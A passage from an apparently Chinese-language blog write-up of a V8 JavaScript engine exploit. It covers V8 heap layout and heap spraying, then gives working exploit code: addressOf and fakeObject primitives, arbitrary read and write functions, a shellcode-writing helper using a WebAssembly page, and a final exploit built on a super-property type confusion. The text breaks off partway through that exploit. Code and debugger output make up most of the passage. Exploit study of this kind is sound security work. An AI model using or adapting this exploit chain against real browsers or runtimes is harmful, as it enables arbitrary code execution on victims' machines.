JS_ARRAY_TYPE</span><br><span class="line"> - instance size: 16</span><br><span class="line"> - inobject properties: 0</span><br><span class="line"> - elements kind: PACKED_DOUBLE_ELEMENTS</span><br><span class="line"> - unused property fields: 0</span><br><span class="line"> - enum length: invalid</span><br><span class="line"> - back pointer: 0x055008203ab9 &lt;Map(HOLEY_SMI_ELEMENTS)&gt;</span><br><span class="line"> - prototype_validity cell: 0x055008142405 &lt;Cell value= 1&gt;</span><br><span class="line"> - instance descriptors #1: 0x0550081cc59d &lt;DescriptorArray[1]&gt;</span><br><span class="line"> - transitions #1: 0x0550081cc5e9 &lt;TransitionArray[4]&gt;Transition array #1:</span><br><span class="line">     0x05500800524d &lt;Symbol: (elements_transition_symbol)&gt;: (transition to HOLEY_DOUBLE_ELEMENTS) -&gt; 0x055008203b09 &lt;Map(HOLEY_DOUBLE_ELEMENTS)&gt;</span><br><span class="line"></span><br><span class="line"> - prototype: 0x0550081cc0e9 &lt;JSArray[0]&gt;</span><br><span class="line"> - constructor: 0x0550081cbe85 &lt;JSFunction Array (sfi = 0x5500814adc1)&gt;</span><br><span class="line"> - dependent code: 0x0550080021b9 &lt;Other heap object (WEAK_FIXED_ARRAY_TYPE)&gt;</span><br><span class="line"> - construction counter: 0</span><br></pre></td></tr></table></figure></div><p>可以发现，将其解析为对象了，那么如果在某地址存在一个伪造对象，将设定的值设置为该伪造对象的地址，那么我们就可以通过该伪造对象进行任意地址读写了，但一个重要的问题是我们如何得到地址。此时就需要使用堆喷技术了</p><h2 id="V8下的堆喷"><a href="#V8下的堆喷" class="headerlink" title="V8下的堆喷"></a>V8下的堆喷</h2><p>V8的堆内存一般为如下内存段</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">0x1f4a00000000     0x1f4a00003000 rw-p     3000      0 [anon_1f4a00000]</span><br><span class="line">0x1f4a00003000     0x1f4a00004000 ---p     1000      0 [anon_1f4a00003]</span><br><span class="line">0x1f4a00004000     0x1f4a0001a000 r-xp    16000      0 [anon_1f4a00004]</span><br><span class="line">0x1f4a0001a000     0x1f4a0003f000 ---p    25000      0 [anon_1f4a0001a]</span><br><span class="line">0x1f4a0003f000     0x1f4a08000000 ---p  7fc1000      0 [anon_1f4a0003f]</span><br><span class="line">0x1f4a08000000     0x1f4a0802a000 r--p    2a000      0 [anon_1f4a08000]</span><br><span class="line">0x1f4a0802a000     0x1f4a08040000 ---p    16000      0 [anon_1f4a0802a]</span><br><span class="line">0x1f4a08040000     0x1f4a0814d000 rw-p   10d000      0 [anon_1f4a08040]</span><br><span class="line">0x1f4a0814d000     0x1f4a08180000 ---p    33000      0 [anon_1f4a0814d]</span><br><span class="line">0x1f4a08180000     0x1f4a08183000 rw-p     3000      0 [anon_1f4a08180]</span><br><span class="line">0x1f4a08183000     0x1f4a081c0000 ---p    3d000      0 [anon_1f4a08183]</span><br><span class="line">0x1f4a081c0000     0x1f4a08240000 rw-p    80000      0 [anon_1f4a081c0]</span><br><span class="line">0x1f4a08240000     0x1f4b00000000 ---p f7dc0000      0 [anon_1f4a08240]</span><br></pre></td></tr></table></figure></div><p>可以发现堆内存是连续的，从<code>0x1f4a08240000</code>开始的<code>0xf7dc0000</code>大小的内存便是还未分配的堆内存，查看未分配内存的前<code>0x80000</code>大小内存可以看到</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/16gx 0x1f4a081c0000</span><br><span class="line">0x1f4a081c0000:0x00000000000400000x0000000000000004</span><br><span class="line">0x1f4a081c0010:0x0000558d5eb2db380x00001f4a081c2118</span><br><span class="line">0x1f4a081c0020:0x00001f4a082000000x000000000003dee8</span><br><span class="line">0x1f4a081c0030:0x00000000000000000x0000000000002118</span><br><span class="line">0x1f4a081c0040:0x0000558d5ebafee00x0000558d5eb1fb80</span><br><span class="line">0x1f4a081c0050:0x00001f4a081c00000x0000000000040000</span><br><span class="line">0x1f4a081c0060:0x0000558d5ebade200x0000000000000000</span><br><span class="line">0x1f4a081c0070:0xffffffffffffffff0x0000000000000000</span><br></pre></td></tr></table></figure></div><p>在V8的堆块结构中，首部8字节代表该堆块大小，其中的<code>0x2118</code>代表有这些大小存储堆块信息，那么可用大小就是<code>0x3dee8</code>。</p><p>其结构大致为</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">+0   : 堆块size</span><br><span class="line">+0x18: 堆块可用内存开始地址</span><br><span class="line">+0x20: 下一个堆块</span><br><span class="line">+0x28: 可用空间</span><br><span class="line">+0x38: 堆块信息占用空间</span><br></pre></td></tr></table></figure></div><p>使用如下代码进行测试，查看内存段，可以发现之前<code>0x80000</code>大小的内存区域不断增加</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> test1 = <span class="title class_">Array</span>(<span class="number">0xf700</span>);</span><br><span class="line">%<span class="title class_">DebugPrint</span>(test1);</span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> test2 = <span class="title class_">Array</span>(<span class="number">0xf700</span>);</span><br><span class="line">%<span class="title class_">DebugPrint</span>(test2);</span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> test3 = <span class="title class_">Array</span>(<span class="number">0xf700</span>);</span><br><span class="line">%<span class="title class_">DebugPrint</span>(test3);</span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br></pre></td></tr></table></figure></div><p>代码中<code>Array(0xf700)</code>，在V8中一个内存占4字节，则总长度为<code>0xf700*4+0x2118 = 0x3fd18</code>，在对齐后便为0x40000大小。对应内存区域变化如下</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">0x26a0081c0000     0x26a008280000 rw-p    c0000      0 [anon_26a0081c0]</span><br><span class="line">0x26a008280000     0x26a100000000 ---p f7d80000      0 [anon_26a008280]</span><br><span class="line"></span><br><span class="line">0x26a0081c0000     0x26a0082c0000 rw-p   100000      0 [anon_26a0081c0]</span><br><span class="line">0x26a0082c0000     0x26a100000000 ---p f7d40000      0 [anon_26a0082c0]</span><br><span class="line"></span><br><span class="line">0x26a0081c0000     0x26a008300000 rw-p   140000      0 [anon_26a0081c0]</span><br><span class="line">0x26a008300000     0x26a100000000 ---p f7d00000      0 [anon_26a008300]</span><br></pre></td></tr></table></figure></div><p>查看<code>test1 test2 test3</code>的对象内存，发现其<code>elements</code>指针都是<code>对应内存空间+0x2119</code>。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0x33ac080499e4:0x08203ab90x0800222d0x082421190x0001ee00</span><br><span class="line">0x33ac080499f4:0x08203ab90x0800222d0x082821190x0001ee00</span><br><span class="line">0x33ac08049a04:0x08203ab90x0800222d0x082c21190x0001ee00</span><br></pre></td></tr></table></figure></div><p>这意味着我们不需要泄露也可以很轻易的命中某个对象的<code>elements</code>内存。</p><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>这个过程整得我有点sb，BigInt转number时的精度丢失调了我好久</p><h3 id="堆喷"><a href="#堆喷" class="headerlink" title="堆喷"></a>堆喷</h3><p>选取一个Array的<code>elements</code>内存区，例如<code>0x82c2121</code>（elements对应低2字节为0x2119，数据区为0x2119+8&#x3D;0x2121）。然后在堆喷对象的数据区域进行伪造。</p><p>经过测试，我发现各种对象的map地址似乎是一个固定值，所以就直接进行赋值了。我这里似乎理解的不太对，看了其他师傅的复现发现都是只分配了一次，我是分配了0x100次，然后给每个都赋以相同的值，然后随便找一个来利用，写完exp才发现，不想改了:(</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> double_array_map = <span class="number">0x8203ae1</span>;</span><br><span class="line"><span class="keyword">var</span> obj_array_map = <span class="number">0x8203b31</span>;</span><br><span class="line"><span class="keyword">var</span> spray_array = [];</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">let</span> i = <span class="number">0x0</span>; i &lt; <span class="number">0x100</span>; i++) &#123;</span><br><span class="line">        spray_array[i] = <span class="title class_">Array</span>(<span class="number">0xf700</span>);</span><br><span class="line">        spray_array[i][<span class="number">0</span>] = <span class="title function_">u2d</span>(obj_array_map, <span class="number">0</span>);</span><br><span class="line">        spray_array[i][<span class="number">1</span>] = <span class="title function_">u2d</span>(<span class="number">0x9042121</span>+<span class="number">0x100</span>*<span class="number">8</span>, <span class="number">2</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>伪造对象的elements指向随便一个可写区域就行。</p><h3 id="addressOf"><a href="#addressOf" class="headerlink" title="addressOf"></a>addressOf</h3><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">addressOf</span>(<span class="params">target_var</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        evil[<span class="number">0</span>] = target_var;</span><br><span class="line">        <span class="keyword">for</span>(<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">0x100</span>; i++)</span><br><span class="line">            spray_array[i][<span class="number">0</span>] = <span class="title function_">u2d</span>(double_array_map, <span class="number">0</span>);</span><br><span class="line">        <span class="keyword">let</span> target_var_addr = <span class="title function_">ftoi</span>(evil[<span class="number">0</span>]) - <span class="number">1n</span>;</span><br><span class="line">        <span class="keyword">for</span>(<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">0x100</span>; i++)</span><br><span class="line">            spray_array[i][<span class="number">0</span>] = <span class="title function_">u2d</span>(obj_array_map, <span class="number">0</span>);</span><br><span class="line">        <span class="keyword">return</span> target_var_addr;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure></div><h3 id="fakeObject"><a href="#fakeObject" class="headerlink" title="fakeObject"></a>fakeObject</h3><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fakeObject</span>(<span class="params">target_addr</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">for</span>(<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">0x100</span>; i++)</span><br><span class="line">            spray_array[i][<span class="number">0</span>] = <span class="title function_">u2d</span>(double_array_map, <span class="number">0</span>);</span><br><span class="line">        evil[<span class="number">0</span>] = <span class="title function_">itof</span>(target_addr+<span class="number">1n</span>);</span><br><span class="line">        <span class="keyword">for</span>(<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">0x100</span>; i++)</span><br><span class="line">            spray_array[i][<span class="number">0</span>] = <span class="title function_">u2d</span>(obj_array_map, <span class="number">0</span>);</span><br><span class="line">        <span class="keyword">let</span> fake_obj = evil[<span class="number">0</span>];</span><br><span class="line">        <span class="keyword">return</span> fake_obj;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure></div><h3 id="AAR"><a href="#AAR" class="headerlink" title="AAR"></a>AAR</h3><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> fake_array=[<span class="title function_">u2d</span>(double_array_map, <span class="number">0</span>), <span class="title function_">itof</span>(<span class="number">0x4141414141414141n</span>)];</span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">AAR</span>(<span class="params">addr</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">let</span> fake_array_addr = <span class="title function_">bigint_to_number</span>(<span class="title function_">addressOf</span>(fake_array));</span><br><span class="line">        <span class="keyword">var</span> fake_object = <span class="title function_">fakeObject</span>(<span class="title class_">BigInt</span>(fake_array_addr)+<span class="number">0x4cn</span>+<span class="number">8n</span>);</span><br><span class="line">        fake_array[<span class="number">1</span>] = <span class="title function_">itof</span>(<span class="number">0x200000000n</span>+addr+<span class="number">1n</span>-<span class="number">8n</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">ftoi</span>(fake_object[<span class="number">0</span>]);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure></div><h3 id="AAW"><a href="#AAW" class="headerlink" title="AAW"></a>AAW</h3><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">AAW</span>(<span class="params">addr, value</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">let</span> fake_array_addr = <span class="title function_">bigint_to_number</span>(<span class="title function_">addressOf</span>(fake_array));</span><br><span class="line">        <span class="keyword">var</span> fake_object = <span class="title function_">fakeObject</span>(<span class="title class_">BigInt</span>(fake_array_addr)+<span class="number">0x4cn</span>+<span class="number">8n</span>);</span><br><span class="line">        fake_array[<span class="number">1</span>] = <span class="title function_">itof</span>(<span class="number">0x200000000n</span>+addr+<span class="number">1n</span>-<span class="number">8n</span>);</span><br><span class="line">        fake_object[<span class="number">0</span>] = <span class="title function_">itof</span>(value);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure></div><h3 id="shellcode-write"><a href="#shellcode-write" class="headerlink" title="shellcode_write"></a>shellcode_write</h3><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">shellcode_write</span>(<span class="params">addr,shellcode</span>)</span><br><span class="line">    &#123; </span><br><span class="line">        <span class="keyword">var</span> data_buf = <span class="keyword">new</span> <span class="title class_">ArrayBuffer</span>(shellcode.<span class="property">length</span>*<span class="number">8</span>);</span><br><span class="line">        <span class="keyword">var</span> data_view = <span class="keyword">new</span> <span class="title class_">DataView</span>(data_buf);</span><br><span class="line">        <span class="keyword">var</span> buf_backing_store_addr=<span class="title function_">addressOf</span>(data_buf)+<span class="number">0x1cn</span>;</span><br><span class="line">        <span class="title function_">AAW</span>(buf_backing_store_addr,addr);</span><br><span class="line">        <span class="keyword">for</span> (<span class="keyword">let</span> i=<span class="number">0</span>;i&lt;shellcode.<span class="property">length</span>;++i)</span><br><span class="line">                data_view.<span class="title function_">setFloat64</span>(i*<span class="number">8</span>,<span class="title function_">itof</span>(shellcode[i]),<span class="literal">true</span>);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure></div><h3 id="最终exp"><a href="#最终exp" class="headerlink" title="最终exp"></a>最终exp</h3><p>最后触发挺稳定的</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span>(<span class="string">&#x27;./1.mjs&#x27;</span>).<span class="title function_">then</span>(<span class="function">(<span class="params">m1</span>) =&gt;</span> &#123;</span><br><span class="line"><span class="keyword">var</span> wasmCode = <span class="keyword">new</span> <span class="title class_">Uint8Array</span>([<span class="number">0</span>,<span class="number">97</span>,<span class="number">115</span>,<span class="number">109</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">133</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">96</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">127</span>,<span class="number">3</span>,<span class="number">130</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">112</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">5</span>,<span class="number">131</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">6</span>,<span class="number">129</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">7</span>,<span class="number">145</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">6</span>,<span class="number">109</span>,<span class="number">101</span>,<span class="number">109</span>,<span class="number">111</span>,<span class="number">114</span>,<span class="number">121</span>,<span class="number">2</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">109</span>,<span class="number">97</span>,<span class="number">105</span>,<span class="number">110</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">10</span>,<span class="number">138</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">65</span>,<span class="number">42</span>,<span class="number">11</span>]);</span><br><span class="line"><span class="keyword">var</span> wasmModule = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Module</span>(wasmCode);</span><br><span class="line"><span class="keyword">var</span> wasmInstance = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Instance</span>(wasmModule, &#123;&#125;);</span><br><span class="line"><span class="keyword">var</span> f = wasmInstance.<span class="property">exports</span>.<span class="property">main</span>;</span><br><span class="line">   </span><br><span class="line"><span class="keyword">var</span> double_array = [<span class="number">2.1</span>];</span><br><span class="line"><span class="keyword">var</span> obj = &#123;<span class="attr">a</span>:<span class="number">1</span>&#125;;</span><br><span class="line"><span class="keyword">var</span> obj_array = [obj];</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> f64 = <span class="keyword">new</span> <span class="title class_">Float64Array</span>(<span class="number">1</span>);</span><br><span class="line"><span class="keyword">var</span> bigUint64 = <span class="keyword">new</span> <span class="title class_">BigUint64Array</span>(f64.<span class="property">buffer</span>);</span><br><span class="line"><span class="keyword">var</span> u32 = <span class="keyword">new</span> <span class="title class_">Uint32Array</span>(f64.<span class="property">buffer</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">d2u</span>(<span class="params">v</span>) &#123;</span><br><span class="line">        f64[<span class="number">0</span>] = v;</span><br><span class="line">        <span class="keyword">return</span> u32;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">u2d</span>(<span class="params">lo, hi</span>) &#123;</span><br><span class="line">        u32[<span class="number">0</span>] = lo;</span><br><span class="line">        u32[<span class="number">1</span>] = hi;</span><br><span class="line">        <span class="keyword">return</span> f64[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">ftoi</span>(<span class="params">f</span>)</span><br><span class="line">&#123;</span><br><span class="line">    f64[<span class="number">0</span>] = f;</span><br><span class="line"><span class="keyword">return</span> bigUint64[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">itof</span>(<span class="params">i</span>)</span><br><span class="line">&#123;</span><br><span class="line">bigUint64[<span class="number">0</span>] = i;</span><br><span class="line"><span class="keyword">return</span> f64[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">bigint_to_number</span>(<span class="params">b</span>)</span><br><span class="line">&#123;</span><br><span class="line">bigUint64[<span class="number">0</span>] = b;</span><br><span class="line"><span class="keyword">return</span> u32[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> double_array_map = <span class="number">0x8203ae1</span>;</span><br><span class="line"><span class="keyword">var</span> obj_array_map = <span class="number">0x8203b31</span>;</span><br><span class="line"><span class="keyword">var</span> spray_array = [];</span><br><span class="line">        <span class="keyword">for</span>(<span class="keyword">let</span> i = <span class="number">0x0</span>; i &lt; <span class="number">0x100</span>; i++) &#123;</span><br><span class="line">spray_array[i] = <span class="title class_">Array</span>(<span class="number">0xf700</span>);</span><br><span class="line">                spray_array[i][<span class="number">0</span>] = <span class="title function_">u2d</span>(obj_array_map, <span class="number">0</span>);</span><br><span class="line">spray_array[i][<span class="number">1</span>] = <span class="title function_">u2d</span>(<span class="number">0x9042121</span>+<span class="number">0x100</span>*<span class="number">8</span>, <span class="number">2</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">class</span> <span class="title class_">C</span> &#123;</span><br><span class="line"><span class="title function_">m</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="variable language_">super</span>.<span class="property">x</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">    obj_prop_ut_fake = &#123;&#125;;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0x0</span>; i &lt; <span class="number">0x11</span>; i++) &#123;</span><br><span class="line">        obj_prop_ut_fake[<span class="string">&#x27;x&#x27;</span> + i] = <span class="title function_">u2d</span>(<span class="number">0x9042121</span>, <span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    C.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">__proto__</span> = m1;</span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">trigger</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">let</span> c = <span class="keyword">new</span> <span class="title function_">C</span>();</span><br><span class="line"></span><br><span class="line">        c.<span class="property">x0</span> = obj_prop_ut_fake;</span><br><span class="line">        <span class="keyword">let</span> res = c.<span class="title function_">m</span>();</span><br><span class="line">        <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">10</span>; i++) &#123;</span><br><span class="line">        <span class="title function_">trigger</span>();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">let</span> evil = <span class="title function_">trigger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">addressOf</span>(<span class="params">target_var</span>)</span><br><span class="line">    &#123;</span><br><span class="line">evil[<span class="number">0</span>] = target_var;</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">0x100</span>; i++)</span><br><span class="line">    spray_array[i][<span class="number">0</span>] = <span class="title function_">u2d</span>(double_array_map, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">let</span> target_var_addr = <span class="title function_">ftoi</span>(evil[<span class="number">0</span>]) - <span class="number">1n</span>;</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">0x100</span>; i++)</span><br><span class="line">            spray_array[i][<span class="number">0</span>] = <span class="title function_">u2d</span>(obj_array_map, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">return</span> target_var_addr;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">fakeObject</span>(<span class="params">target_addr</span>)</span><br><span class="line">    &#123;</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">0x100</span>; i++)</span><br><span class="line">            spray_array[i][<span class="number">0</span>] = <span class="title function_">u2d</span>(double_array_map, <span class="number">0</span>);</span><br><span class="line">evil[<span class="number">0</span>] = <span class="title function_">itof</span>(target_addr+<span class="number">1n</span>);</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">0x100</span>; i++)</span><br><span class="line">            spray_array[i][<span class="number">0</span>] = <span class="title function_">u2d</span>(obj_array_map, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">let</span> fake_obj = evil[<span class="number">0</span>];</span><br><span class="line"><span class="keyword">return</span> fake_obj;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> fake_array=[<span class="title function_">u2d</span>(double_array_map, <span class="number">0</span>), <span class="title function_">itof</span>(<span class="number">0x4141414141414141n</span>)];</span><br><span 